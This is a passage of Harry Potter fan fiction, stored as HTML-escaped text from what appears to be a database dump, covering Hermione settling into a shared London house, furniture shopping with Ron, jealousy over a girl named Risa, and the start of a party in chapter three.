the most perfect flat in the world. You really should have had the top floor.&quot;\n<br><br>\nHarry gave her a guilty sideways grin. &quot;Never. How could I? I walked up here and saw that windowseat, and I had this immediate thought of you sitting in it with a book, with the fire going and all. Bought the place on the spot.&quot;\n<br><br>\nThe kettle began to whistle again; Hermione turned to pour Harry\'s tea, thankful to be able to hide the blush that was creeping over her cheeks. &quot;I\'m so glad you did.&quot;\n<br><br>\nHarry accepted the hot mug and sipped it cautiously. &quot;Me too.&quot; He looked up at Hermione and slid her chair out with one foot. &quot;Sit down and drink your own tea, why don\'t you?&quot;\n<br><br>\n&quot;I will.&quot; Milk goes in the refrigerator. Sugar goes back in the cupboard. \n<br><br>\nWhen she turned around again she saw that Harry was studying her with intense green eyes. &quot;Are you doing all right, Hermione? We haven\'t really gotten to talk in ages.&quot;\n<br><br>\nOh, I\'m smashing, Harry. I was just up half the night thinking about your smile and your laugh and the way I feel when you\'re here, and how you look wrapped in a --\n<br><br>\n&quot;Towel?&quot; Hermione asked breezily.\n<br><br>\nHarry\'s eyes went wide behind his round glasses. Hermione felt her tongue flounder in her mouth as if she\'d eaten a Weasley toffee. \n<br><br>\n&quot;Toast, I mean,&quot; she amended quickly. &quot;Would you, ah, like some -- &quot;\n<br><br>\nHarry blinked, then grinned. &quot;No, I\'m okay. Going to go running in a bit. You didn\'t answer my question.&quot; He pointed to her chair again.\n<br><br>\n&quot;I\'m fine,&quot; Hermione managed, sinking back into her seat. &quot;Really fine. Very happy to be here. Just, you know, adjusting. To the new flat, and to seeing you both again.&quot;\n<br><br>\n&quot;I know how that can be.&quot;\n<br><br>\nI\'m not sure you do, Hermione thought. &quot;Yes, it\'s wonderful, just a bit overwhelming at first.&quot;\n<br><br>\n&quot;Overwhelming is definitely the word.&quot; Harry averted his gaze to sip his tea, then glanced up at her again, an odd look on his face. &quot;I hope you don\'t mind me asking, but... how did you leave things with David?&quot;\n<br><br>\n&quot;It was fairly awful. I think you got most of the details in my last Owl, but the final few weeks at Oxford were very awkward. I had to see him in class every day. He had to grade my exams and all.&quot;\n<br><br>\n&quot;What did he give you?&quot;\n<br><br>\nHermione rolled her eyes. &quot;An A <i>minus</i>.&quot;\n<br><br>\n&quot;The shameless git!&quot;\n<br><br>\nHermione laughed. &quot;It was fine. I didn\'t mind. Not after what happened.&quot;\n<br><br>\n&quot;You mean, not after he strung you along for months, until you found out he was doing the same with two other students?&quot;\n<br><br>\n&quot;Well -- &quot;\n<br><br>\nHarry\'s eyes darkened. Hermione shivered; it was as if a cloud had briefly passed over the sun. \n<br><br>\n&quot;I\'ll tell you one thing, he\'s lucky I was touring with the team and couldn\'t come to see you when you wrote me with that news,&quot; he said, his voice hardening. &quot;I\'d have cursed him back to the Stone Age, the bastard. I almost skipped a game to do it, but our reserve Seeker was sick.&quot; \n<br><br>\n&quot;Harry!&quot;\n<br><br>\n&quot;Well really.&quot; Harry was looking at her sheepishly now, as if she was about to chide him for hexing Draco Malfoy and getting detention. &quot;What are friends for?&quot;\n<br><br>\nHermione couldn\'t hide her smile. &quot;Thanks. I appreciate it.&quot;\n<br><br>\nHarry smiled back, visibly relaxing.\n<br><br>\n&quot;How about you?&quot; Hermione was eager to change the subject, as talk of The Great Mistake Named David was beginning to make her uneasy. &quot;How have you been?&quot;\n<br><br>\nHarry laughed and rubbed the back of his neck absently. &quot;Me? The same. I run, I go to practice, I grab a sandwich, I go to the gym, I sleep. Oh, and there are team meetings twice a week, and sometimes I go for a pint with the boys afterwards. My life in a nutshell.&quot;\n<br><br>\n&quot;Doesn\'t sound bad, really.&quot;\n<br><br>\n&quot;It\'s not. I like it. A lot of time moving around, even more time on a broom.&quot;\n<br><br>\nHermione grinned. &quot;Aren\'t you terribly excited? Flying for England, I mean. With World Cup finals coming up again.&quot;\n<br><br>\n&quot;I am. A bit nervous of course.&quot; Harry looked up at her. &quot;It\'ll be loads better now that you\'re here.&quot;\n<br><br>\n&quot;We went to all the matches last year too,&quot; Hermione began.\n<br><br>\n&quot;And you\'ll be in the top box again this year, if I have anything to do with it,&quot; Harry said, grinning. &quot;No, that\'s not what I mean. I mean -- everything will be better. With you around. In general.&quot;\n<br><br>\nHermione swallowed. Harry\'s eyes met hers; an odd flicker seemed to pass through their green depths.\n<br><br>\n&quot;You and Ron,&quot; he said quickly. &quot;It\'ll be -- nice not to be alone anymore.&quot;\n<br><br>\nMuddled thoughts were zinging through Hermione\'s head with the speed of a hundred Snitches. Silence fell as they sipped their tea.\n<br><br>\n&quot;I thought...&quot; Hermione began, then realized she had spoken aloud without meaning to.\n<br><br>\n&quot;What?&quot;\n<br><br>\n&quot;Oh, nothing.&quot; She sipped her tea again quickly.\n<br><br>\nHarry gave her a look that sent the words spilling out before she could stop them.\n<br><br>\n&quot;I thought you wanted to be alone. Before,&quot; she finished weakly.\n<br><br>\nSilence again. Crookshanks twined around Harry\'s legs, purring softly.\n<br><br>\n&quot;I did,&quot; Harry said quietly. &quot;Not anymore.&quot;\n<br><br>\nHermione felt her eyes drawn inexorably to Harry\'s.\n<br><br>\n&quot;Oh.&quot; She wrenched her gaze away to stare into her teacup. &quot;I\'m -- I\'m sorry to pry. You know me, can\'t stop talking -- &quot;\n<br><br>\n&quot;Don\'t be silly.&quot; Harry\'s face broke into his usual sideways grin. He reached across the table and squeezed Hermione\'s hand. &quot;You\'re not prying. Really.&quot;\n<br><br>\n&quot;Okay.&quot; Her hand felt so wonderful in Harry\'s that she almost shut her eyes in bliss.\n<br><br>\n&quot;I promise you,&quot; Harry said, giving her hand a final squeeze and kicking his chair back, &quot;If you\'re talking too much, Hermione, I\'ll tell you. Haven\'t I always?&quot; \n<br><br>\nHarry\'s voice suddenly drifted into Hermione\'s head, the Harry from years ago, next to her in the library. <i>Shut UP already, Hermione.</i> Harry\'s voice before it had broken into a new, deep register. <i>Will you be quiet for once. We haven\'t read</i> Hogwarts, A History, <i>and we weren\'t planning on it, with you around.</i>\n<br><br>\nHermione shook her head, laughing. Being with Harry could sometimes make her feel eleven again. &quot;Yes, you have.&quot;\n<br><br>\nHarry set his mug in the kitchen sink, then bent over the table and placed a quick kiss on top of Hermione\'s head.\n<br><br>\nEleven going on twenty-one, suddenly.\n<br><br>\n&quot;I need to get going. Oh -- almost forgot. The reason I came up here in the first place.&quot;\n<br><br>\n&quot;It wasn\'t for my scintillating company?&quot; Hermione\'s scalp was tingling.\n<br><br>\n&quot;Well, that was most of it.&quot; Harry grinned rougishly. &quot;But I wanted to tell you about the house security spell. Ron\'s already told me to set things up so that you can come into his place without a key, and I can too. That\'s how my flat is as well. We understand if you don\'t want to do the same -- &quot;\n<br><br>\n&quot;Of course I do.&quot;\n<br><br>\n&quot;Okay.&quot; Harry\'s cheeks flushed. &quot;We\'ll come up with some kind of system if we need privacy, of course, but this seems easiest. Won\'t have to keep answering the door for each other.&quot;\n<br><br>\nHermione nodded. &quot;And no one else will be able to come in unless we let them. The only Apparating spot is the front steps outside, right?&quot;\n<br><br>\n&quot;Right. Anyway, I\'ve got to be off for my run. We\'re playing Luxembourg next Saturday, and I can\'t be carrying around any extra Weasley chicken.&quot; He patted his stomach.\n<br><br>\n&quot;You are carrying <i>nothing</i> extra, Harry Potter.&quot; I should know, Hermione thought. I may be an expert on the subject after last night.\n<br><br>\nHarry laughed. &quot;Dinner tonight? Ron said he\'d get groceries. I\'ll fix the security spell later.&quot;\n<br><br>\n&quot;Okay.&quot;\n<br><br>\n&quot;See you, then!&quot;\n<br><br>\n&quot;See you, Harry.&quot;\n<br><br>\nThe door closed, and the flat suddenly seemed desperately empty.\n<br><br>\nHermione stood in the kitchen for a moment, drinking in the last lingering traces of Harry. She saw his eyes on her again, felt his hand squeeze hers, felt him brush his lips on the top of her head.\n<br><br>\nMaybe -- \n<br><br>\nHermione shuffled to the bathroom and flipped on the light to stare at herself in the mirror. A bleary reflection gazed back at her, wrapped in a lumpy plaid dressing gown. Sometime during the night, her hair had exploded into a mad scientist\'s worst nightmare. Dark circles the size of gobstones hung underneath her eyes.\n<br><br>\n&quot;Might want to have a shower, dear,&quot; the mirror said.\n<br><br>\nNever, Hermione thought, turning on the bathwater. He\'d never, in a million years.\n<br><br>\n\n~ ~ ~ ~ ~\n<br><br>\n&quot;Hullo? Anyone there?&quot;\n<br><br>\nHermione jumped. From her perch in the windowseat she could see that her empty fireplace had sprung to life; a very red head was sitting in the middle of the flames. \n<br><br>\n&quot;Morning Ron!&quot; Hermione set down an impossibly thick volume entitled <i>The Other Plague: Lycanthropy in Medieval Europe</i> and flopped into an armchair in front of the fireplace. She\'d been attempting to study to occupy her otherwise muddled mind, but her book was proving to be tremendously dull. It was also serving to remind her of the time Professor Lupin had transformed in their third year, and she and Harry had rescued Sirius... how she\'d clung to him as they sat on Buckbeak... \n<br><br>\n&quot;Hey ho, \'Mione moe,&quot; Ron said as she sat down. Hermione rolled her eyes. &quot;Mione moe&quot; was Ron\'s nickname for her -- the only one she would tolerate, anyway. If he lapsed into Eeny Meany, or Meany Mione, she was given full license to call him Ickle Ronniekins. Or Weaselpie. &quot;Busy?&quot;\n<br><br>\n&quot;No, not really. Just catching up on a bit of reading.&quot;\n<br><br>\n&quot;How unusual. Fancy a bit of shopping?&quot;\n<br><br>\n&quot;Shopping? What for?&quot;\n<br><br>\nRon grinned. &quot;In case you didn\'t notice yesterday, I\'m missing quite a bit of furniture.&quot;\n<br><br>\nHermione laughed. &quot;I thought your mum might be sending your things along later.&quot;\n<br><br>\n&quot;No, that\'s all I have I\'m afraid -- bed and a desk. My last rental was furnished.&quot;\n<br><br>\n&quot;Where are you heading, then?&quot;\n<br><br>\n&quot;Thought I\'d go to Mugwumps. Got a bit of extra cash from the new job.&quot;\n<br><br>\nMugwumps was the staggeringly huge wizard department store at the far end of Diagon Alley. The store motto, &quot;If you can\'t find it at Mugwumps, it doesn\'t exist in any dimension,&quot; was probably not far from the truth.\n<br><br>\n&quot;Ooh, I\'d love to. I still need to pick up a few things for the kitchen. Floo or Apparate?&quot;\n<br><br>\n&quot;I was thinking of walking, actually,&quot; Ron said. &quot;It\'s so close and all. Lovely day.&quot;\n<br><br>\n&quot;Okay. Be right down then.&quot;\n<br><br>\n&quot;Wicked.&quot; With a sharp crackle, Ron\'s head vanished and the fireplace went dark. Hermione wrapped a warm navy cloak around her shoulders and headed down the two flights of stairs to Ron\'s flat. When she opened the door she saw that the sitting room was as bare as it had been the day before, empty except for a folding chair and a wooden desk. An enormous red and white flag splashed with roses, rampant lions, and rearing unicorns covered one entire wall.\n<br><br>\n&quot;Hullo, sweetheart.&quot; Ron was pulling on a maroon jumper and an old black cloak.\n<br><br>\n&quot;No orange?&quot; Hermione raised an eyebrow. &quot;Now this is something different. I like your new decorating scheme.&quot;\n<br><br>\n&quot;Well, the old posters were getting a bit tired,&quot; Ron said, coloring. &quot;Some of the Chudley Chasers had stopped scoring. Had to give them a rest. Plus, the England flag covers all the teams, doesn\'t it?&quot;\n<br><br>\n&quot;I suppose.&quot; Hermione hid a smile. Ron stepped in front of her and swept open the door of his flat, bowing. &quot;Shall we, m\'lady?&quot;\n<br><br>\n&quot;Oh, stop it, you goof.&quot;\n<br><br>\nAs they crunched through the recently fallen autumn leaves on the uneven cobblestones of Orthagon Alley, Hermione felt herself begin to relax. Ron always had that effect on her. \n<br><br>\nAt one time she\'d mistaken it for attraction; there had been a time, around fifth year, when she\'d found herself drawn to Ron more and more. They\'d shared a number of fumbling, awkward kisses soon afterwards, feeling as if it was some kind of foregone conclusion that they should be together. Half the student body had always assumed Ron was her boyfriend -- the half that didn\'t believe Harry was, anyway. Those kisses, the shy dances at winter formals, the wintertime walks to Hogsmeade -- they\'d all been sweet, and comfortable, and ultimately, as they\'d both realized by graduation, too sweet and comfortable. They loved each other dearly, but as siblings, as two people who had grown up together and shared everything. They\'d shared Harry, an experience that no one else could know.\n<br><br>\nOne of the most comforting things about Ron, Hermione thought, catching his eye as they tapped the bricks behind the Leaky Cauldron, was that despite their closeness, he actually didn\'t know her innermost thoughts. She was never unnerved, as she was with Harry, to hear him put into words exactly what she was feeling; she never felt as if his gaze could read her mind. Ron could cheer her out of the blackest of moods, and his mere presence was often enough to calm her, but he was also endearingly oblivious. \n<br><br>\n&quot;How does Harry seem to you?&quot; Hermione asked as they paused to deliberate over a small mushroom-colored sofa in Mugwumps. <i>Stretchable Sofa</i>, the tag read. <i>Will accomodate sleepers from goblin to giant.</i>\n<br><br>\n&quot;Fine, really,&quot; Ron replied. &quot;Better, I guess. Much better than he has been.&quot;\n<br><br>\n&quot;I think so too.&quot;\n<br><br>\n&quot;Yeah, Quidditch really seems to be agreeing with him. Can\'t say that I\'m surprised.&quot;\n<br><br>\n&quot;He does seem happy.&quot; She paused, inspecting a sofa cushion. &quot;Hasn\'t mentioned any girls, has he?&quot;\n<br><br>\nRon shook his head, chuckling. &quot;Nope. I expect he\'d tell you first, anyway. Hasn\'t he always?&quot;\n<br><br>\nHermione flushed. &quot;I don\'t know about that.&quot;\n<br><br>\n&quot;He\'s probably just got the usual crowd of gorgeous Potter fangirls hanging about, lucky git. Hard not to be happy with that kind of life.&quot;\n<br><br>\nHermione felt a lump form in her throat. &quot;Right.&quot;\n<br><br>\n&quot;Here, what do you think? I like this one.&quot; Ron had flopped onto the mushroom sofa; it was now long enough for him to lie down and stretch out his legs.\n<br><br>\n&quot;Perfect.&quot; Hermione smiled; her face felt frozen.\n<br><br>\n&quot;C\'mon then. Let\'s order it.&quot;\n<br><br>\nOne couch, a kitchen table, and two chairs later, Ron and Hermione made their way back through Diagon Alley, pausing to wave at Florean Fortescue through the window of his ice cream parlor, Hermione dragging a reluctant Ron away from the display at Quality Quidditch Supplies. Ron\'s new furniture would be delivered via Floo later that afternoon. They left Diagon Alley and stopped at Walrymple\'s Market on their way back to the house, Hermione\'s stomach still twisted in a small, uneasy knot. On the way out of Walrymple\'s, Hermione stopped and peered down the street, startled. A group of people appeared to be gathering near the front doorstep of number 231.\n<br><br>\n&quot;What do you suppose -- &quot; she began.\n<br><br>\n&quot;Dunno,&quot; Ron said, starting forward. &quot;I hope nothing\'s happened.&quot;\n<br><br>\nAs they neared the house, Ron\'s face suddenly broke into a wide smile. The group of people was comprised solely of young women, most of them staggeringly attractive. One of them, a tall, thin girl with long, glossy brown hair, was puzzling over the butler\'s horn and turned as they approached. She had very blue almond-shaped eyes and enormously long lashes.\n<br><br>\n&quot;Afternoon, girls,&quot; Ron said, beaming, as they parted to let him walk up to the door. &quot;Can I help you?&quot;\n<br><br>\n&quot;Hello,&quot; said the tall girl, her eyes travelling over Ron\'s lanky frame. &quot;Do you live here?&quot;\n<br><br>\n&quot;I do,&quot; Ron said.\n<br><br>\nThe girl\'s face suddenly broke into a stunning smile. She stepped towards Ron, offering her hand. &quot;Marisa Talbot. I live in Origin Alley, not too far from here. Call me Risa.&quot;\n<br><br>\nRon unceremoniously shoved a bag of groceries into Hermione\'s arms and grasped Risa\'s hand. &quot;Ron Weasley. Ministry barrister.&quot;\n<br><br>\nOh, save us all, Hermione thought. She shifted the bag of groceries and tried not to scowl. \n<br><br>\n&quot;Ron Weasley!&quot; Risa hadn\'t released Ron\'s hand. &quot;Of course. Harry\'s best friend. And this must be -- &quot; she glanced at Hermione -- &quot;Hermorrine, right?&quot;\n<br><br>\n&quot;Her-my-oh-nee.&quot; Hermione\'s eyes narrowed.\n<br><br>\n&quot;A pleasure,&quot; Risa said, though clearly it wasn\'t. She quickly shifted her attention back to Ron. &quot;We were just looking for Harry. Is he home?&quot;\n<br><br>\nThe group of girls seemed to lean forward in anticipation of Ron\'s answer.\n<br><br>\n&quot;Out at practice, I expect, if you haven\'t seen him,&quot; Ron said, leaning against the front door casually. &quot;Is there anything I might be able to help you with?&quot;\n<br><br>\n&quot;Come to think of it, maybe so,&quot; purred Risa. &quot;We\'re having a little party tonight, and we were hoping Harry might be able to make it. He had such a <i>grand</i> time at the last one.&quot; At this she gave a slow wink; Hermione felt distinctly ill. \n<br><br>\nRisa gave Ron another dazzling smile. &quot;You\'re welcome to come too, of course.&quot; Her eyes flicked quickly to Hermione. &quot;Both of you,&quot; she added, with a bit less enthusiasm.\n<br><br>\nRon couldn\'t have smiled any wider. &quot;Well, thanks for the invitation. I\'m new to the neighborhood, haven\'t really met anyone yet.&quot;\n<br><br>\nRisa traced a polished fingernail down the length of Ron\'s nose. &quot;Well, now you have,&quot; she murmured.\n<br><br>\nHermione had seen enough. &quot;Ron,&quot; she said in what she hoped was a treacly voice, &quot;Could you be a dear and open the front door for me? I should put these groceries away before they get too warm.&quot;\n<br><br>\nRon blinked, his cheeks red beneath his freckles. &quot;Sure, \'Mione. Be up in a moment.&quot;\n<br><br>\n&quot;Thanks.&quot; Hermione squeezed her way to the door. &quot;Lovely meeting you all,&quot; she said through gritted teeth.\n<br><br>\n&quot;Likewise,&quot; cooed Risa, who was still staring at Ron.\n<br><br>\nHermione slammed the door of her flat. She slammed the refrigerator closed after the last of the groceries was inside. She slammed the door of her bedroom for good measure before collapsing onto her bed. \n<br><br>\nShe couldn\'t do this. She couldn\'t live with Harry.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n&quot;Hermione? You okay?&quot;\n<br><br>\nHarry\'s voice came from the fireplace. Hermione couldn\'t move. She felt frozen, as if the churning thoughts in her head had jammed all transmission to the rest of her body. \n<br><br>\nHow had this happened so fast? Yesterday she was picking up Ron at the train station, thinking a bit about Harry, of course, but no  more than usual. Or, a bit more than usual, perhaps, but not an outrageous amount. She\'d been thinking about Harry all summer, of course, but --\n<br><br>\nAnd then she\'d seen Harry, and she\'d just gone to pieces inside. Blown a fuse. It was as if some sort of time bomb had exploded in her brain and scattered thoughts of Harry into every corner. This was not at all normal for rational Hermione Granger. Her brain was ordinarily very tidy.\n<br><br>\nAnd now, a day later, she hadn\'t slept, and she was sitting on her bed wrapped in a sodding quilt, thinking about moving away from the best place she\'d ever lived, because she couldn\'t stand the thought of those girls, those vacuous, superficial, know-nothing tramps, with Harry -- \n<br><br>\n&quot;Hermione, I\'m coming up.&quot;\n<br><br>\nBefore Hermione could react, footsteps were pounding on the stairs outside her flat, and the front door clicked open. &quot;Hermione? You in here?&quot;\n<br><br>\n&quot;I -- yes, I\'m here,&quot; she croaked, throwing aside her quilt, feeling numb. Why couldn\'t she have answered before? Now he was here, and she was in no state to talk --\n<br><br>\nHarry tapped on her bedroom door, then opened it a crack. &quot;I heard doors slamming. Was there someone here?&quot;\n<br><br>\n&quot;No, just me,&quot; Hermione said weakly. &quot;It\'s okay. You can come in.&quot;\n<br><br>\nShe wondered why she was allowing this to happen. In a moment she\'d see those brilliant green eyes and it would all be over. He\'d see right through her, and there would be nothing she couldn\'t tell him, if he asked. Her heart pounded faintly in her ears.\n<br><br>\nHarry slid into the room, barefoot, wearing a t-shirt and jeans. His hair was damp and sticking up in all directions, a black shock next to pale skin and dark eyebrows. He smelled a bit like soap and laundry, mingled with his usual comforting, electric Harry smell. His eyes met hers.\n<br><br>\nShe was correct, as usual. There was nothing she could do now.\n<br><br>\nHarry\'s brows furrowed with concern; he sat down on the edge of her bed. &quot;You all right?&quot;\n<br><br>\n&quot;Oh, it\'s nothing,&quot; Hermione said, forcing her face into what she hoped was a cheery smile. &quot;Just got a bit worked up is all.&quot; Act casual. That\'s it.\n<br><br>\n&quot;Worked up? What about?&quot;\n<br><br>\n&quot;You\'ll laugh.&quot;\n<br><br>\n&quot;I won\'t.&quot;\n<br><br>\n&quot;You will.&quot;\n<br><br>\n&quot;Try me.&quot;\n<br><br>\nShe plunged forward. Tell him something. Anything. Otherwise he\'ll guess. &quot;Did you see those girls outside, by any chance?&quot;\n<br><br>\nHarry\'s cheeks flushed slightly. &quot;Er. I did.&quot;\n<br><br>\n&quot;You know them?&quot;\n<br><br>\n&quot;I guess you could say that.&quot; He shifted uncomfortably and ran a hand through his messy hair.\n<br><br>\nHermione felt her stomach twist tightly again.\n<br><br>\n&quot;Well, it was really nothing. One of them was a bit rude. Not directly or anything.&quot; Hermione suddenly found it difficult to talk. &quot;I was probably being oversensitive.&quot;\n<br><br>\nHarry sighed. &quot;Didn\'t give you the time of day?&quot;\n<br><br>\nHermione nodded.\n<br><br>\n&quot;They\'re like that,&quot; Harry said bitterly. &quot;Some of them wouldn\'t even know how to recognize me unless I was wearing Quidditch robes. I wouldn\'t take it personally if I were you.&quot; He looked down, studying a corner of her quilt. &quot;I\'m sorry, Hermione. I tried to tell you it wouldn\'t be fun living with me. You really don\'t have to put up with it. It\'s not fair to you.&quot;\n<br><br>\nHermione felt as if she\'d just swallowed one of Hagrid\'s rock cakes; words tumbled out of her in a breathless torrent. &quot;Oh, no, Harry, don\'t say that. Please don\'t. Living with you is going to be wonderful, it\'s the best thing that could have happened. I don\'t care about those girls. Really.&quot;\n<br><br>\nHarry\'s eyes met hers again; her heart skipped. &quot;Are you sure?&quot;\n<br><br>\n&quot;Absolutely.&quot;  His eyes were a mirror; she could see that he believed her. She felt silly with relief. &quot;I just had a momentary -- well, I had, you know -- I had a moment.&quot;\n<br><br>\n&quot;A moment?&quot; The corners of his mouth twitched. \n<br><br>\nHermione blushed. &quot;You know how I am.&quot;\n<br><br>\nHarry was smiling now. &quot;Ah yes,&quot; he said knowingly. &quot;One of your... moments. I see.&quot;\n<br><br>\n&quot;Sorry about the noise. I\'ll try to have quieter moments from now on.&quot; She was grinning sheepishly; he raised an eyebrow and they both began to laugh.\n<br><br>\n&quot;Quite all right. Just had me worried. I\'m used to living alone, you know.&quot;\n<br><br>\n&quot;Right. Sorry.&quot;\n<br><br>\n&quot;As long as you\'re okay.&quot; Harry stood and held out a hand. Hermione took it; he pulled her up from the bed, his eyes glinting. &quot;And as long as you let me see what you and Ron brought home for dinner.&quot; \n<br><br>\nShe felt giddy now. Harry didn\'t know. Somehow, he hadn\'t guessed. \n<br><br>\nMaybe she could stay after all.\n<br><br>\n&quot;I\'ll let you do more than see what\'s there,&quot; she said, poking him. &quot;You can start preparing it.&quot;\n<br><br>\n&quot;I surrender,&quot; Harry said, heading for the kitchen. &quot;Where do you keep the cutting board? And have you got a wizard\'s wireless around here?&quot;\n<br><br>\n&quot;Second drawer on the left, under the sink. And yes, right over there.&quot;\n<br><br>\n&quot;First things first, then. Cooking music.&quot; Harry was rifling through her albums in the sitting room, an old box of Muggle cd\'s and wizard music spools. &quot;Celestina Warbeck? Hermione!&quot;\n<br><br>\n&quot;She\'s got a lovely voice!&quot;\n<br><br>\n&quot;If you like that sort of treacly stuff. Or maybe if you\'re fourteen.&quot;\n<br><br>\n&quot;Oh, hush!&quot; \n<br><br>\nAnd suddenly it was impossible to consider living anywhere else, because somehow she\'d always been here, in this sunny kitchen, chopping onions with Harry, both laughing as tears stung their eyes, the sound of an old Fleetwood Mac album drifting from the wireless. It was music from her childhood, from a time even before Harry, but as his eyes flicked to hers she couldn\'t imagine there had ever been a time without him.  \n<br><br>\nAnd sometimes, as she chopped garlic, or carrots, she thought she could imagine his eyes on her, when she wasn\'t looking.\n<br><br>\nBut she did have a very good imagination.\n<br><br>\nHermione felt a bubble of happiness welling up inside her. It was almost enough to crush the flood of confusion that had been threatening to engulf her all day.\n<br><br>\nAlmost.\n\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n\n\n\n\n\n'),
	(8, 3, '\n\n\n\n\n\n<b>Come Together</b><br><br>\n<b>Disclaimer:</b> This story is based on characters and \nsituations created and owned by JK Rowling, various publishers including but not \nlimited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner \nBros., Inc. No money is being made and no copyright or trademark infringement is \nintended.\n<br><br>\n~~~~~~~~~~~~~~\n<br><br>\n<b>Chapter Three:</b> Tumbling Dice\n<br><br>\n<i>yeah, we all need someone we can dream on<br>\nand if you want it, baby, well you can dream on me</i><br><br>\n- -&quot;Let it Bleed,&quot; The Rolling Stones\n<br><br>\n~ ~ ~ ~ ~\n\n<br><br>\n\nThe Origin Alley flat was sparkling with fairy lights, and the latest pop album by Duncan Filbigger was playing on the wireless, drifting over the chatter of the crowd. House elves dressed smartly in clean, starched pillowcases were replenishing a long table with silver trays full of mushroom puffs and shrimp sandwiches. The guests seemed to have stepped from the pages of Witch Weekly; they were tall, slender, wearing slinky skirts or the latest in dress robes, black and violet and emerald green. \n<br><br>\nIt was the perfect night to be a young witch or wizard out on the town in London, and this was the perfect party on this perfect night. Hermione sipped her drink, an ethereal concoction of Samotha, Fogblatt\'s, and lime, and gazed at the spangled city lights visible through the large windows of the flat.\n<br><br>\nShe couldn\'t wait to get home.\n<br><br>\nShe couldn\'t believe she\'d agreed to come here in the first place. Somehow, she\'d been caught up in the moment, intoxicated by a blissful afternoon in Harry\'s company. Ron had come upstairs for dinner, and they\'d all laughed endlessly over soup and fresh meat pies, as if they were back in the Great Hall glancing over their shoulders at the Slytherin table. Ron was quite smitten with the gaggle of girls who had come by that afternoon, and he\'d gotten down on his knees begging Harry and Hermione to go with him to Risa\'s party. It had been such a comical and heartrending performance that Hermione had found herself agreeing on the spot, forgetting all thoughts of the atrocious girls themselves. And now, she was in the flat of all flats, at the party of all parties, feeling as out of place as a giant squid on a Quidditch pitch. \n<br><br>\nHarry had disappeared hours ago, which was bitterly unsurprising. Risa Talbot had snagged him firmly on one arm as soon as he\'d walked through the door, and Hermione\'s stomach had dropped straight through her shoes as she watched Risa lead him away. She still hadn\'t quite recovered from the sight. Thankfully, no one at the party seemed to notice her, and she\'d been able to retreat to a quiet corner and attempt to convince herself that it was really perfectly okay that Harry was gadding about with a snotty, pea-brained princess.\n<br><br>\nIt wasn\'t working.\n<br><br>\nHermione finally spotted Ron\'s tall, red head in the crowd, somewhere between the hors d\'ouevres table and the dance floor. He was chatting animatedly with two lovely blonde witches, looking as if he\'d just been given a pile of chocolate frogs for Christmas. Hermione sighed. She loved Ron too much to pull him away from what was clearly the best time he\'d had in a decade.\n<br><br>\n&quot;What\'re you drinking?&quot;\n<br><br>\nA low voice at Hermione\'s shoulder made her jump and almost spill her drink. She turned quickly, knowing who it was before she saw green eyes and glasses. Her heart thumped once before lodging firmly in her throat.\n<br><br>\n&quot;Oh, it\'s you,&quot; she breathed, realizing she sounded hopelessly grateful. Harry grinned and inclined his head towards a shadowy corner; Hermione followed, her head suddenly light. &quot;This is a Foglifter. Samotha and Fogblatt\'s.&quot;\n<br><br>\n&quot;Can I have a try, then?&quot;\n<br><br>\n&quot;Of course.&quot; Hermione offered him the glass; he took a sip, smiled, and nodded.\n<br><br>\n&quot;Thanks. That\'s quite good, isn\'t it?&quot;\n<br><br>\nHermione nodded. &quot;I love lime.&quot;\n<br><br>\n&quot;Me too.&quot; Harry motioned towards the long table. &quot;Tried any of the, er, mushroom whatsis?&quot;\n<br><br>\n&quot;Not yet.&quot;\n<br><br>\n&quot;I\'ve had too many. I think one of the house elves fancies me. Every time I look down, someone with big ears is offering me pastries.&quot;\n<br><br>\nHermione giggled; Harry\'s face split into a wide smile, and he peered at her. &quot;You doing all right, then?&quot;\n<br><br>\nAs usual, in Harry\'s presence, Hermione\'s thoughts spilled out before she could stop them. &quot;I\'m okay,&quot; she found herself saying. &quot;Not great. I feel a bit out of place.&quot;\n<br><br>\nHarry nodded. &quot;Yeah. Same.&quot;\n<br><br>\nHermione blinked. &quot;You? You\'re, you know, The Boy -- &quot;\n<br><br>\n&quot; -- who Saved the World from Quidditch, or something, I know,&quot; Harry said, nudging her with an elbow. &quot;And you\'re my famous best friend who helped me do it. You\'re quite high-profile too, you know.&quot; He raised an eyebrow teasingly.\n<br><br>\nHermione smiled. &quot;I don\'t feel high-profile. Or look it, either.&quot; She gestured at the crowd, then at her own clothing: jeans, a black v-neck sweater, black Mary Janes.\n<br><br>\n&quot;You look great, Hermione. It\'s not like I\'m the picture of fashion.&quot; Harry chuckled and looked down at himself. He was in typical-Harry garb: jeans, a green jumper, and well-worn Doc Martens, his hair standing up defiantly in several directions. Hermione had the sudden urge to run her hands through it, and immediately turned a bright shade of pink at the thought. \n<br><br>\n&quot;You look great too,&quot; she mumbled. \n<br><br>\nHarry\'s cheeks flushed to match Hermione\'s. &quot;Thanks,&quot; he said quietly.\n<br><br>\nHermione\'s pulse quickened. \n<br><br>\n&quot;<i>There</i> you are!&quot;\n<br><br>\nAnd then Risa Talbot was at Harry\'s side as if she\'d Apparated there, stunning in a blue satin slipdress, her glossy hair swept back on one side with a jewelled comb. Hermione\'s insides felt like ice. \n<br><br>\nHarry blinked, startled. &quot;Risa. Sorry, I, er, didn\'t see where you went.&quot;\n<br><br>\nHermione began to breathe again. She knew Harry, and she could tell from the look on his face that Risa might have been the reason he\'d escaped into a dark corner.\n<br><br>\nWhich was good. Better than good, in fact. Hermione hid a smile.\n<br><br>\n&quot;It is crowded in here, isn\'t it?&quot; Risa said, ignoring Hermione. &quot;Why don\'t we go out on the balcony, and you can fetch me another drink on the way?&quot;\n<br><br>\nHermione felt a bit sick from this remark; she took a quick sip of her drink, attempting not to choke. When she looked up, she saw that Harry was trying to catch her eye with what was clearly his Play-Along-With-Me glance. She knew it well; it had saved them both from detention several times in Potions. Her heart skipped. She looked back at him and gave a slight nod.\n<br><br>\n&quot;Oh, I\'m terribly sorry, Risa,&quot; Harry said, slipping an arm protectively around Hermione\'s waist. &quot;I\'ve been looking for Hermione. We\'ve got plans to go to Exploding Snap. It\'s her first night out in London, and I promised I\'d take her there after we stopped in at your place.&quot;\n<br><br>\nHermione was sure her pounding heart could be heard over the blaring music. She leaned slightly into Harry and tried to pretend this wasn\'t news to her, that it was perfectly normal for Harry to be holding her close while trying to escape from a gorgeous girl who clearly wanted to shag him.\n<br><br>\n&quot;A bit of dancing sounds like a wonderful idea,&quot; said Risa, her almond eyes glittering in the fairy lights. \n<br><br>\nHarry smiled. &quot;It should be fun. Thanks ever so much for inviting us. 